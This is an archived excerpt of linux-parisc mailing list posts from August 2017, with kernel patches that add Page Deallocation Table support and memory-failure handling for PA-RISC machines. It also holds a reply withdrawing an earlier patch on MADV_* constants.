List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27623
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27623>

Older machines with a PAT firmware (e.g. the rp5470) return their Page
Deallocation Table (PDT) info per cell via the PDC_PAT_MEM_PD_INFO PDC call.
This patch adds the necessary structures and wrappers to call firmware.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pdcpat.h b/arch/parisc/include/asm/pdcpat.h
index e3c0586..a468a17 100644
--- a/arch/parisc/include/asm/pdcpat.h
+++ b/arch/parisc/include/asm/pdcpat.h
@@ -223,6 +223,18 @@ struct pdc_pat_mem_retinfo { /* PDC_PAT_MEM/PDC_PAT_MEM_PD_INFO (return info) */
 	unsigned long clear_time; /* last PDT clear time (since Jan 1970) */
 };
 
+struct pdc_pat_mem_cell_pdt_retinfo { /* PDC_PAT_MEM/PDC_PAT_MEM_CELL_INFO */
+	u64 reserved:32;
+	u64 cs:1;		/* clear status: cleared since the last call? */
+	u64 current_pdt_entries:15;
+	u64 ic:1;		/* interleaving had to be changed ? */
+	u64 max_pdt_entries:15;
+	unsigned long good_mem;
+	unsigned long first_dbe_loc; /* first location of double bit error */
+	unsigned long clear_time; /* last PDT clear time (since Jan 1970) */
+};
+
+
 struct pdc_pat_mem_read_pd_retinfo { /* PDC_PAT_MEM/PDC_PAT_MEM_PD_READ */
 	unsigned long actual_count_bytes;
 	unsigned long pdt_entries;
@@ -325,6 +337,8 @@ extern int pdc_pat_io_pci_cfg_read(unsigned long pci_addr, int pci_size, u32 *va
 extern int pdc_pat_io_pci_cfg_write(unsigned long pci_addr, int pci_size, u32 val); 
 
 extern int pdc_pat_mem_pdt_info(struct pdc_pat_mem_retinfo *rinfo);
+extern int pdc_pat_mem_pdt_cell_info(struct pdc_pat_mem_cell_pdt_retinfo *rinfo,
+		unsigned long cell);
 extern int pdc_pat_mem_read_cell_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
 		unsigned long *pdt_entries_ptr, unsigned long max_entries);
 extern int pdc_pat_mem_read_pd_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index f622a31..be9a2e8 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -142,8 +142,8 @@ static void convert_to_wide(unsigned long *addr)
 	int i;
 	unsigned int *p = (unsigned int *)addr;
 
-	if(unlikely(parisc_narrow_firmware)) {
-		for(i = 31; i >= 0; --i)
+	if (unlikely(parisc_narrow_firmware)) {
+		for (i = (NUM_PDC_RESULT-1); i >= 0; --i)
 			addr[i] = p[i];
 	}
 #endif
@@ -979,16 +979,22 @@ int pdc_mem_pdt_read_entries(struct pdc_mem_read_pdt *pret,
 
 	spin_lock_irqsave(&pdc_lock, flags);
 	retval = mem_pdc_call(PDC_MEM, PDC_MEM_READ_PDT, __pa(pdc_result),
-			__pa(pdc_result2));
+			__pa(pdt_entries_ptr));
 	if (retval == PDC_OK) {
 		convert_to_wide(pdc_result);
 		memcpy(pret, pdc_result, sizeof(*pret));
-		convert_to_wide(pdc_result2);
-		memcpy(pdt_entries_ptr, pdc_result2,
-			pret->pdt_entries * sizeof(*pdt_entries_ptr));
 	}
 	spin_unlock_irqrestore(&pdc_lock, flags);
 
+#ifdef CONFIG_64BIT
+	/*
+	 * 64-bit kernels should not call this PDT function in narrow mode.
+	 * The pdt_entries_ptr array above will now contain 32-bit values
+	 */
+	if (WARN_ON_ONCE((retval == PDC_OK) && parisc_narrow_firmware))
+		return PDC_ERROR;
+#endif
+
 	return retval;
 }
 
@@ -1440,6 +1446,29 @@ int pdc_pat_mem_pdt_info(struct pdc_pat_mem_retinfo *rinfo)
 }
 
 /**
+ * pdc_pat_mem_pdt_cell_info - Retrieve information about page deallocation
+ *				table of a cell
+ * @rinfo: memory pdt information
+ * @cell: cell number
+ *
+ */
+int pdc_pat_mem_pdt_cell_info(struct pdc_pat_mem_cell_pdt_retinfo *rinfo,
+		unsigned long cell)
+{
+	int retval;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_lock, flags);
+	retval = mem_pdc_call(PDC_PAT_MEM, PDC_PAT_MEM_CELL_INFO,
+			__pa(&pdc_result), cell);
+	if (retval == PDC_OK)
+		memcpy(rinfo, &pdc_result, sizeof(*rinfo));
+	spin_unlock_irqrestore(&pdc_lock, flags);
+
+	return retval;
+}
+
+/**
  * pdc_pat_mem_read_cell_pdt - Read PDT entries from (old) PAT firmware
  * @pret: array of PDT entries
  * @pdt_entries_ptr: ptr to hold number of PDT entries
@@ -1455,14 +1484,14 @@ int pdc_pat_mem_read_cell_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
 	spin_lock_irqsave(&pdc_lock, flags);
 	/* PDC_PAT_MEM_CELL_READ is available on early PAT machines only */
 	retval = mem_pdc_call(PDC_PAT_MEM, PDC_PAT_MEM_CELL_READ,
-			__pa(&pdc_result), parisc_cell_num, __pa(&pdc_result2));
+			__pa(&pdc_result), parisc_cell_num,
+			__pa(pdt_entries_ptr));
 
 	if (retval == PDC_OK) {
 		/* build up return value as for PDC_PAT_MEM_PD_READ */
 		entries = min(pdc_result[0], max_entries);
 		pret->pdt_entries = entries;
 		pret->actual_count_bytes = entries * sizeof(unsigned long);
-		memcpy(pdt_entries_ptr, &pdc_result2, pret->actual_count_bytes);
 	}
 
 	spin_unlock_irqrestore(&pdc_lock, flags);
@@ -1474,6 +1503,8 @@ int pdc_pat_mem_read_cell_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
  * pdc_pat_mem_read_pd_pdt - Read PDT entries from (newer) PAT firmware
  * @pret: array of PDT entries
  * @pdt_entries_ptr: ptr to hold number of PDT entries
+ * @count: number of bytes to read
+ * @offset: offset to start (in bytes)
  *
  */
 int pdc_pat_mem_read_pd_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: PDT: Add full support for memory failure via Page
 Deallocation Table (PDT)
Date: Fri, 4 Aug 2017 19:23:53 +0200
Lines: 395
Approved: news@gmane.org
Message-ID: <20170804172353.GA29632@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501867445 3116 195.159.176.226 (4 Aug 2017 17:24:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 4 Aug 2017 17:24:05 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 04 19:24:00 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ddgKJ-0005se-Uh
	for glpp-linux-parisc@m.gmane.org; Fri, 04 Aug 2017 19:23:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751208AbdHDRYC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 4 Aug 2017 13:24:02 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:50520 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751133AbdHDRYB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 4 Aug 2017 13:24:01 -0400
Original-Received: from p100.box ([193.159.17.37]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LhNwC-1dHWmp1t3Y-00mdTF; Fri, 04
 Aug 2017 19:23:55 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:0FTDC+Po1EQMjHvrbZYIhfviwMoNu9W2omvUczXp9AG2nM8rNxZ
 9SwmTIRPVD0JmA0tE+QElNsnWo+LoaENBpBdsCfg/x0XvprLcZ/W0gVNA9B38VjpJo+h20G
 N/uZfG/7QRMJYO+aH5rY8DGjhukUl8tgyIDlqrcW8NymQzmxZ2WAdpF9oFXnt9OEHG3eADd
 b3fGYFfs1nWCVil3eRpXg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:9xmgmfD7iGU=:ReRnwC1FnmlpPO9QGmqto1
 dsR9RvSVptBIAG8fTbEHn88OIX9nj/nDPbK1COtzwFNrc6OHZEKJ1J5jBQB0ROfQK6v18MIyf
 GXXM4raE7uw9RQRYuUpCHCbbdN4OBwPyrds5gtxUP7ejbecbWtDyj6t60exaMqknaP+uV3e/u
 s6nJND4SZLg50yKbVONDqtMxhEZu0uYfAsYHsOoCAZ43BfCI4HU83Vwr9mQrzX4XaI7PDgCyZ
 SetZt34kQYMTj/8+HgtbW5kBcEHiWMXKm8aH6R//UTt5ZdHSuxCzKKBp74gGjDNiXAx/NoBTu
 4SJ49v6d5ZKWyGbWAbp/K1QV33Ws9/feG/fw89mq4xcCOhpx4fRlUxXux3Mg6YnBQpbXcBSou
 pkZZcC0YKU9QeMAmYsn6t6PP1nrd6w5eHB+hEuSO/n0nneLRM2bz43dkKzMy9C/N22pQC/Smu
 g8lzEsa6dQr47OOKDiI1uuz92pDf7fXqYr5TLWNrwBUe0ICeKW3D8L2J/3LPuh8fApF9V1EOa
 KCqA25cWXcWM+rm2PmPNTzLFpbgFhgyIxyjAxpbpAmdRR+iNz0yDxzdEx/CRu/cHsi+1d1/bK
 k+r3nyqIm8MCX1J6VTK0+YL+o735JkJdzB9OHWjmVEFo1iyeAj6ZXfndhVOQbzUmXNJoZgUns
 3eFLZ5sEKOjy8WGB39iiQoV7zuhbHwoByFvrdsMY0O7RUwd/n4aT2RjCkfWqiQSEOcpX/u454
 sQFoceP0dnWjI06Ge5karJa80eXKQ5JQK/koEvMNMHWLBEzj+Os6vRZhIwOeocbX5tjglY72 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27624
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27624>

parisc: PDT: Add full support for memory failure via Page Deallocation Table (PDT)

This patch adds full support to read PDT info on all machine types.  At bootup
the PDT is read and bad memory excluded from usage via memblock_reserve().

Later in the boot process a kernel thread is started (kpdtd) which regularily
checks firmare for new reported bad memory and tries to soft offline pages in
case of correctable errors and to kill processes and exclude such memory in
case of uncorrectable errors via memory_failure().

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index dda1f55..7d2faf7 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -9,6 +9,7 @@ config PARISC
 	select ARCH_WANT_FRAME_POINTERS
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_STRICT_KERNEL_RWX
+	select ARCH_SUPPORTS_MEMORY_FAILURE
 	select RTC_CLASS
 	select RTC_DRV_GENERIC
 	select INIT_ALL_POSSIBLE
diff --git a/arch/parisc/kernel/pdt.c b/arch/parisc/kernel/pdt.c
index d02874e..05730a8 100644
--- a/arch/parisc/kernel/pdt.c
+++ b/arch/parisc/kernel/pdt.c
@@ -1,19 +1,20 @@
 /*
  *    Page Deallocation Table (PDT) support
  *
- *    The Page Deallocation Table (PDT) holds a table with pointers to bad
- *    memory (broken RAM modules) which is maintained by firmware.
+ *    The Page Deallocation Table (PDT) is maintained by firmware and holds a
+ *    list of memory addresses in which memory errors were detected.
+ *    The list contains both single-bit (correctable) and double-bit
+ *    (uncorrectable) errors.
  *
  *    Copyright 2017 by Helge Deller <deller@gmx.de>
  *
- *    TODO:
- *    - check regularily for new bad memory
- *    - add userspace interface with procfs or sysfs
- *    - increase number of PDT entries dynamically
+ *    possible future enhancements:
+ *    - add userspace interface via procfs or sysfs to clear PDT
  */
 
 #include <linux/memblock.h>
 #include <linux/seq_file.h>
+#include <linux/kthread.h>
 
 #include <asm/pdc.h>
 #include <asm/pdcpat.h>
@@ -24,11 +25,16 @@ enum pdt_access_type {
 	PDT_NONE,
 	PDT_PDC,
 	PDT_PAT_NEW,
-	PDT_PAT_OLD
+	PDT_PAT_CELL
 };
 
 static enum pdt_access_type pdt_type;
 
+/* PDT poll interval: 1 minute if errors, 5 minutes if everything OK. */
+#define PDT_POLL_INTERVAL_DEFAULT	(5*60*HZ)
+#define PDT_POLL_INTERVAL_SHORT		(1*60*HZ)
+static unsigned long pdt_poll_interval = PDT_POLL_INTERVAL_DEFAULT;
+
 /* global PDT status information */
 static struct pdc_mem_retinfo pdt_status;
 
@@ -36,6 +42,21 @@ static struct pdc_mem_retinfo pdt_status;
 #define MAX_PDT_ENTRIES		(MAX_PDT_TABLE_SIZE / sizeof(unsigned long))
 static unsigned long pdt_entry[MAX_PDT_ENTRIES] __page_aligned_bss;
 
+/*
+ * Constants for the pdt_entry format:
+ * A pdt_entry holds the physical address in bits 0-57, bits 58-61 are
+ * reserved, bit 62 is the perm bit and bit 63 is the error_type bit.
+ * The perm bit indicates whether the error have been verified as a permanent
+ * error (value of 1) or has not been verified, and may be transient (value
+ * of 0). The error_type bit indicates whether the error is a single bit error
+ * (value of 1) or a multiple bit error.
+ * On non-PAT machines phys_addr is encoded in bits 0-59 and error_type in bit
+ * 63. Those machines don't provide the perm bit.
+ */
+
+#define PDT_ADDR_PHYS_MASK	(pdt_type != PDT_PDC ? ~0x3f : ~0x0f)
+#define PDT_ADDR_PERM_ERR	(pdt_type != PDT_PDC ? 2UL : 0UL)
+#define PDT_ADDR_SINGLE_ERR	1UL
 
 /* report PDT entries via /proc/meminfo */
 void arch_report_meminfo(struct seq_file *m)
@@ -49,6 +70,68 @@ void arch_report_meminfo(struct seq_file *m)
 			pdt_status.pdt_entries);
 }
 
+static int get_info_pat_new(void)
+{
+	struct pdc_pat_mem_retinfo pat_rinfo;
+	int ret;
+
+	/* newer PAT machines like C8000 report info for all cells */
+	if (is_pdc_pat())
+		ret = pdc_pat_mem_pdt_info(&pat_rinfo);
+	else
+		return PDC_BAD_PROC;
+
+	pdt_status.pdt_size = pat_rinfo.max_pdt_entries;
+	pdt_status.pdt_entries = pat_rinfo.current_pdt_entries;
+	pdt_status.pdt_status = 0;
+	pdt_status.first_dbe_loc = pat_rinfo.first_dbe_loc;
+	pdt_status.good_mem = pat_rinfo.good_mem;
+
+	return ret;
+}
+
+static int get_info_pat_cell(void)
+{
+	struct pdc_pat_mem_cell_pdt_retinfo cell_rinfo;
+	int ret;
+
+	/* older PAT machines like rp5470 report cell info only */
+	if (is_pdc_pat())
+		ret = pdc_pat_mem_pdt_cell_info(&cell_rinfo, parisc_cell_num);
+	else
+		return PDC_BAD_PROC;
+
+	pdt_status.pdt_size = cell_rinfo.max_pdt_entries;
+	pdt_status.pdt_entries = cell_rinfo.current_pdt_entries;
+	pdt_status.pdt_status = 0;
+	pdt_status.first_dbe_loc = cell_rinfo.first_dbe_loc;
+	pdt_status.good_mem = cell_rinfo.good_mem;
+
+	return ret;
+}
+
+static void report_mem_err(unsigned long pde)
+{
+	struct pdc_pat_mem_phys_mem_location loc;
+	unsigned long addr;
+	char dimm_txt[32];
+
+	addr = pde & PDT_ADDR_PHYS_MASK;
+
+	/* show DIMM slot description on PAT machines */
+	if (is_pdc_pat()) {
+		pdc_pat_mem_get_dimm_phys_location(&loc, addr);
+		sprintf(dimm_txt, "DIMM slot %02x, ", loc.dimm_slot);
+	} else
+		dimm_txt[0] = 0;
+
+	pr_warn("PDT: BAD MEMORY at 0x%08lx, %s%s%s-bit error.\n",
+		addr, dimm_txt,
+		pde & PDT_ADDR_PERM_ERR ? "permanent ":"",
+		pde & PDT_ADDR_SINGLE_ERR ? "single":"multi");
+}
+
+
 /*
  * pdc_pdt_init()
  *
@@ -63,18 +146,17 @@ void __init pdc_pdt_init(void)
 	unsigned long entries;
 	struct pdc_mem_read_pdt pdt_read_ret;
 
-	if (is_pdc_pat()) {
-		struct pdc_pat_mem_retinfo pat_rinfo;
+	pdt_type = PDT_PAT_NEW;
+	ret = get_info_pat_new();
 
-		pdt_type = PDT_PAT_NEW;
-		ret = pdc_pat_mem_pdt_info(&pat_rinfo);
-		pdt_status.pdt_size = pat_rinfo.max_pdt_entries;
-		pdt_status.pdt_entries = pat_rinfo.current_pdt_entries;
-		pdt_status.pdt_status = 0;
-		pdt_status.first_dbe_loc = pat_rinfo.first_dbe_loc;
-		pdt_status.good_mem = pat_rinfo.good_mem;
-	} else {
+	if (ret != PDC_OK) {
+		pdt_type = PDT_PAT_CELL;
+		ret = get_info_pat_cell();
+	}
+
+	if (ret != PDC_OK) {
 		pdt_type = PDT_PDC;
+		/* non-PAT machines provide the standard PDC call */
 		ret = pdc_mem_pdt_info(&pdt_status);
 	}
 
@@ -86,13 +168,17 @@ void __init pdc_pdt_init(void)
 	}
 
 	entries = pdt_status.pdt_entries;
-	WARN_ON(entries > MAX_PDT_ENTRIES);
+	if (WARN_ON(entries > MAX_PDT_ENTRIES))
+		entries = pdt_status.pdt_entries = MAX_PDT_ENTRIES;
 
-	pr_info("PDT: size %lu, entries %lu, status %lu, dbe_loc 0x%lx,"
-		" good_mem %lu\n",
+	pr_info("PDT: type %s, size %lu, entries %lu, status %lu, dbe_loc 0x%lx,"
+		" good_mem %lu MB\n",
+			pdt_type == PDT_PDC ? __stringify(PDT_PDC) :
+			pdt_type == PDT_PAT_CELL ? __stringify(PDT_PAT_CELL)
+						 : __stringify(PDT_PAT_NEW),
 			pdt_status.pdt_size, pdt_status.pdt_entries,
 			pdt_status.pdt_status, pdt_status.first_dbe_loc,
-			pdt_status.good_mem);
+			pdt_status.good_mem / 1024 / 1024);
 
 	if (entries == 0) {
 		pr_info("PDT: Firmware reports all memory OK.\n");
@@ -112,15 +198,12 @@ void __init pdc_pdt_init(void)
 #ifdef CONFIG_64BIT
 		struct pdc_pat_mem_read_pd_retinfo pat_pret;
 
-		/* try old obsolete PAT firmware function first */
-		pdt_type = PDT_PAT_OLD;
-		ret = pdc_pat_mem_read_cell_pdt(&pat_pret, pdt_entry,
-			MAX_PDT_ENTRIES);
-		if (ret != PDC_OK) {
-			pdt_type = PDT_PAT_NEW;
+		if (pdt_type == PDT_PAT_CELL)
+			ret = pdc_pat_mem_read_cell_pdt(&pat_pret, pdt_entry,
+				MAX_PDT_ENTRIES);
+		else
 			ret = pdc_pat_mem_read_pd_pdt(&pat_pret, pdt_entry,
 				MAX_PDT_TABLE_SIZE, 0);
-		}
 #else
 		ret = PDC_BAD_PROC;
 #endif
@@ -128,27 +211,142 @@ void __init pdc_pdt_init(void)
 
 	if (ret != PDC_OK) {
 		pdt_type = PDT_NONE;
-		pr_debug("PDT type %d, retval = %d\n", pdt_type, ret);
+		pr_warn("PDT: Get PDT entries failed with %d\n", ret);
 		return;
 	}
 
 	for (i = 0; i < pdt_status.pdt_entries; i++) {
-		struct pdc_pat_mem_phys_mem_location loc;
+		report_mem_err(pdt_entry[i]);
+
+		/* mark memory page bad */
+		memblock_reserve(pdt_entry[i] & PAGE_MASK, PAGE_SIZE);
+	}
+}
 
-		/* get DIMM slot number */
-		loc.dimm_slot = 0xff;
+
+/*
+ * This is the PDT kernel thread main loop.
+ */
+
+static int pdt_mainloop(void *unused)
+{
+	struct pdc_mem_read_pdt pdt_read_ret;
+	struct pdc_pat_mem_read_pd_retinfo pat_pret __maybe_unused;
+	unsigned long old_num_entries;
+	unsigned long *bad_mem_ptr;
+	int num, ret;
+
+	for (;;) {
+		set_current_state(TASK_INTERRUPTIBLE);
+
+		old_num_entries = pdt_status.pdt_entries;
+
+		schedule_timeout(pdt_poll_interval);
+		if (kthread_should_stop())
+			break;
+
+		/* Do we have new PDT entries? */
+		switch (pdt_type) {
+		case PDT_PAT_NEW:
+			ret = get_info_pat_new();
+			break;
+		case PDT_PAT_CELL:
+			ret = get_info_pat_cell();
+			break;
+		default:
+			ret = pdc_mem_pdt_info(&pdt_status);
+			break;
+		}
+
+		if (ret != PDC_OK) {
+			pr_warn("PDT: unexpected failure %d\n", ret);
+			return -EINVAL;
+		}
+
+		/* if no new PDT entries, just wait again */
+		num = pdt_status.pdt_entries - old_num_entries;
+		if (num <= 0)
+			continue;
+
+		/* decrease poll interval in case we found memory errors */
+		if (pdt_status.pdt_entries &&
+			pdt_poll_interval == PDT_POLL_INTERVAL_DEFAULT)
+			pdt_poll_interval = PDT_POLL_INTERVAL_SHORT;
+
+		/* limit entries to get */
+		if (num > MAX_PDT_ENTRIES) {
+			num = MAX_PDT_ENTRIES;
+			pdt_status.pdt_entries = old_num_entries + num;
+		}
+
+		/* get new entries */
+		switch (pdt_type) {
 #ifdef CONFIG_64BIT
-		pdc_pat_mem_get_dimm_phys_location(&loc, pdt_entry[i]);
+		case PDT_PAT_CELL:
+			if (pdt_status.pdt_entries > MAX_PDT_ENTRIES) {
+				pr_crit("PDT: too many entries.\n");
+				return -ENOMEM;
+			}
+			ret = pdc_pat_mem_read_cell_pdt(&pat_pret, pdt_entry,
+				MAX_PDT_ENTRIES);
+			bad_mem_ptr = &pdt_entry[old_num_entries];
+			break;
+		case PDT_PAT_NEW:
+			ret = pdc_pat_mem_read_pd_pdt(&pat_pret,
+				pdt_entry,
+				num * sizeof(unsigned long),
+				old_num_entries * sizeof(unsigned long));
+			bad_mem_ptr = &pdt_entry[0];
+			break;
 #endif
+		default:
+			ret = pdc_mem_pdt_read_entries(&pdt_read_ret,
+				pdt_entry);
+			bad_mem_ptr = &pdt_entry[old_num_entries];
+			break;
+		}
 
-		pr_warn("PDT: BAD PAGE #%d at 0x%08lx, "
-			"DIMM slot %02x (error_type = %lu)\n",
-			i,
-			pdt_entry[i] & PAGE_MASK,
-			loc.dimm_slot,
-			pdt_entry[i] & 1);
+		/* report and mark memory broken */
+		while (num--) {
+			unsigned long pde = *bad_mem_ptr++;
 
-		/* mark memory page bad */
-		memblock_reserve(pdt_entry[i] & PAGE_MASK, PAGE_SIZE);
+			report_mem_err(pde);
+
+#ifdef CONFIG_MEMORY_FAILURE
+			if ((pde & PDT_ADDR_PERM_ERR) ||
+			    ((pde & PDT_ADDR_SINGLE_ERR) == 0))
+				memory_failure(pde >> PAGE_SHIFT, 0, 0);
+			else
+				soft_offline_page(
+					pfn_to_page(pde >> PAGE_SHIFT), 0);
+#else
+			pr_crit("PDT: memory error at 0x%lx ignored.\n"
+				"Rebuild kernel with CONFIG_MEMORY_FAILURE=y "
+				"for real handling.\n",
+				pde & PDT_ADDR_PHYS_MASK);
+#endif
+
+		}
 	}
+
+	return 0;
 }
+
+
+static int __init pdt_initcall(void)
+{
+	struct task_struct *kpdtd_task;
+
+	if (pdt_type == PDT_NONE)
+		return -ENODEV;
+
+	kpdtd_task = kthread_create(pdt_mainloop, NULL, "kpdtd");
+	if (IS_ERR(kpdtd_task))
+		return PTR_ERR(kpdtd_task);
+
+	wake_up_process(kpdtd_task);
+
+	return 0;
+}
+
+late_initcall(pdt_initcall);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Fix up generic MADV_* values and add
 MADV_HWPOISON and MADV_SOFT_OFFLINE
Date: Fri, 4 Aug 2017 19:57:19 +0200
Lines: 109
Approved: news@gmane.org
Message-ID: <694ff684-0266-ec28-ef6e-c352b42c12ef@gmx.de>
References: <20170804163148.GA29168@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1501869448 6121 195.159.176.226 (4 Aug 2017 17:57:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 4 Aug 2017 17:57:28 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
To: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 04 19:57:24 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ddgqg-0001HN-9V
	for glpp-linux-parisc@m.gmane.org; Fri, 04 Aug 2017 19:57:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751921AbdHDR52 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 4 Aug 2017 13:57:28 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:57085 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751914AbdHDR51 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 4 Aug 2017 13:57:27 -0400
Original-Received: from [192.168.20.60] ([193.159.17.37]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MXIov-1e7fwT302H-00WDAX; Fri, 04
 Aug 2017 19:57:20 +0200
In-Reply-To: <20170804163148.GA29168@p100.box>
Content-Language: en-US
X-Provags-ID: V03:K0:sapooRiz1UAsjnHj3TqiL3Wr+wncugc4HQSveMCQ5M9Ro90GKz+
 3ASfW185BtUeG9RUf4G85IftFRM2UgepUHV8H2tbeWa9RGjbbH1k2yl76/gq7dynUveS2uW
 dRdzuW7R+jvBWDmN//BdNubyXpxIVdlYNzH14jy9ruk+oP9vmB1DYTGy6N1Ee4iezz/6i/n
 yAil6OpVWtWIuTMw8XPoA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:RJWb2UenVls=:jrAabQER9iOrZnq9JcFFWG
 954wWtbOu4w/duwgWt/kuo+lqlWhy9Uaf6hOxISAE8s2Bl2trSl6sT0M9DJgKXwHE0I1PmADt
 6D/iHS1dJNZY7tSKyju06oG3U95oOk8mG8O1doFBuG+AyffAIHChdPenSn/Hf89JF0BnDSPMa
 8C4zunXLQhoh1vJF0XD4ySk8Sc2Ay/7EBcbARB/LZ+4OPD/azlbzQJaEMS171DoJRHNFKUqer
 7AdCzlb2VkjiKY2InsXoY2CzQX5R/s2oem9KbVIaYCd8YkgIOYBXmzZVcHMJEIukVzW9tjKua
 8RaBlAw1MCK97EP9Ylw0QbUNXmLXONHYFJairBKnGWYflppr8RM7gsD7sE67h8AjwGhoRkb5K
 a33Cohxr4KtvSjeSfY9hAhtejSmLqxkO+tWtmSkhJgSBt0xAcgDNe/YCGfjUBuFkXv0gVOf4A
 NUTdAI+8Lp1Hlt/KCgVxqs5g/n3wfxHGScsvCwp0l2CQVOvQFd+yLnGqXscqY1rTjP2KUzlr8
 2dB9i6Atsmh6mAcLRfD/u/JEOhnFL19MDx25DESszd1Cql6y/2cLyyT7rUz2Enb5q+c50mMBi
 SKimNzUuC9IIwlE02F5ZH8boGZ7NNEZqhCFG4l0RXE9qkatRHhBtTVS7N+lEk3XGNCHJfcjHk
 eYq7FbVgzhPNOimQa17VSjWKniF9TLXOUx+GpQnOg+tGVxeELbeSp94XZLRt6uYbmvCf45XDA
 8pfES1wZARPJnYaGPTRfR8GsMZSuo3p74L0p8aD4UEZmwO+z+DvIb4tHnvUcn1ROjINM9wT4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27625 gmane.linux.kernel:2540882
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27625>

On 04.08.2017 18:31, Helge Deller wrote:
> In addition there is a conflict with some the common/generic MADV_* constants
> between kernel headers and glibc headers.  

Please ignore this patch.
I was wrong: kernel and glibc are in sync.

Nevertheless, maybe adjusting the parisc values to the default values in kernel and
glibe would make sense. Even if it's a ABI change, the impact of such a change is probably low
given the fact that those madvise values are hints.

Helge 

> The existing glibc headers on parisc
> already define those values in the range of 8-17 which should be common between
> all architectures and which all architectures with the exception of parisc
> follow.  But the parisc kernel still defines those with values above 65 because
> of an old kernel patch which reserved the range of 12-64 for page size
> specifications.  The old kernel patch never actually used those values in code,
> so changing those MADV_* constants back to the common values shouldn't break
> anything and instead make existing userspace applications work as expected.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
